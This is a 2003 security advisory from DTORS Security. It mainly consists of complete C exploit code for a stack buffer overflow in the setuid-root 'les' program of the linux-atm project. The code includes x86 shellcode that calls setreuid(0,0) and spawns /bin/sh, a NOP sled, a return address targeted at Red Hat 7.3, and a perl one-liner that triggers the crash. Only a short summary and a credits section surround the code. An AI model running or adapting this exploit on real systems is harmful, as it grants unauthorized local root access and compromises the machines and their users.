ATM on Linux Exploit Code Release (les, local) by Angelo Rosiello



Copyright (c) 2003 DTORS Security

All rights reserved.

http://dtors.net



I. SUMMARY

ATM support for Linux is currently in pre-alpha stage. There is an 

experimental release, which supports raw ATM connections (PVCs and SVCs), 

IP over ATM, LAN emulation, MPOA, Arequipa, and some other goodies.

A vulnerability in the product allows local attackers to cause it to 

execute arbitrary code, as it setuid root, a local attacker can gain 

elevated privileges.



II. PATCHES

The Admin of the project was contacted and informed.

The patch will be out as soon as possible.

To contact the author mail to: chas@locutus.cmf.nrl.navy.mil



III. DETAILS & EXPLOIT



/*

*** Exploit against the linux-atm project

***

*** http://sourceforge.net/projects/linux-atm

***************************************************************

*** VULNERABILITY

***

*** Stack Overflow discovered by Angelo Rosiello

*** /usr/local/sbin/les -f `perl -e 'print "A"x252'`

*** Program received signal SIGSEGV, Segmentation fault.

*** 0x41414141 in ?? ()

****************************************************************

*** AUTHOR: Angelo Rosiello

*** CONTACT: angelo@dtors.net, rosiello.angelo@virgilio.it

*** guilecool@usa.com

***

*** Copyright (c) 2003 DTORS Security

*** All rights reserved.

*** http://dtors.net

***

*** SHELLCODE by esDee

***

*** 18/02/2003

***

*/



#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#define NOP 0x90 // No operation instruction

#define LEN 252 // Our buffer size



void usage();



static char shellcode[] =



        // setreuid(0,0);

        "\x31\xc0" // xor %eax,%eax

        "\x31\xdb" // xor %ebx,%ebx

        "\x31\xc9" // xor %ecx,%ecx

        "\xb0\x46" // mov $0x46,%al

        "\xcd\x80" // int $0x80



        // execve /bin/sh

        "\x31\xc0" // xor %eax,%eax

        "\x50" // push %eax

        "\x68\x2f\x2f\x73\x68" // push $0x68732f2f

        "\x68\x2f\x62\x69\x6e" // push $0x6e69622f

        "\x89\xe3" // mov %esp,%ebx

        "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx

        "\x50" // push %eax

        "\x53" // push %ebx

        "\x8d\x0c\x24" // lea (%esp,1),%ecx

        "\xb0\x0b" // mov $0xb,%al

        "\xcd\x80" // int $0x80



        // exit();

        "\x31\xc0" // xor %eax,%eax

        "\xb0\x01" // mov $0x1,%al

        "\xcd\x80"; // int $0x80



struct

{

  int number;

  char *version;

  long ret;

  char path[256];

} target[] =

{

  {1," Red Hat Linux release 7.3 (Valhalla)", 

0xbffff860, "/usr/local/sbin/les"},

  {2," No defined", 0xffffffff , "/usr/local/sbin/les"},

};



main(int argc, char *argv[])

{

        char buffer[LEN];

        int i;

        long ret;

        char *PATH;

        int selection;

        if(argc == 1)

        {

                usage((char **)argv[0]);

                exit(1);

        }

        selection = atoi(argv[2]);



        printf("Ret = 0x%lx and PATH= %s\n", target[selection-1].ret, 

(char **)target[selection-1].path);

        printf("\nCopyright (c) 2003 DTORS Security\n");

        printf("ANGELO ROSIELLO 18/02/2003\n");

        printf("\tLES-EXPLOIT for Linux x86\n\n");



        ret = target[selection-1].ret;

        PATH = target[selection-1].path;

        // Build the overflow string.

        for (i = 0; i < LEN; i += 4) *(long *) &buffer[i] = ret;



        // copy NOP

        for (i=0; i<(LEN-strlen(shellcode)-25);i++) *(buffer+i) = NOP;



        // Copy the shellcode into the buffer.

        memcpy(buffer+i,shellcode,strlen(shellcode));



        // Execute the program

        execl(PATH, "les", "-f", buffer, NULL);

}



void usage(char *argv[])

{

        int i = 0;

        printf("\nUsage:\n%s -t [target number]\n\nTargets\n",*(char **)

&argv);

        while(target[i].number)

        {

                printf("[%d] %s \n", target[i].number, target[i].version);

                i++;

        }

}



IV. CREDIT

Angelo Rosiello discovered this vulnerability exploiting it.

Contact: rosiello.angelo@virgilio.it, angelo@dtors.net, guilecool@usa.com

Any test was done in the "Politecnico di Milano" University (Italy).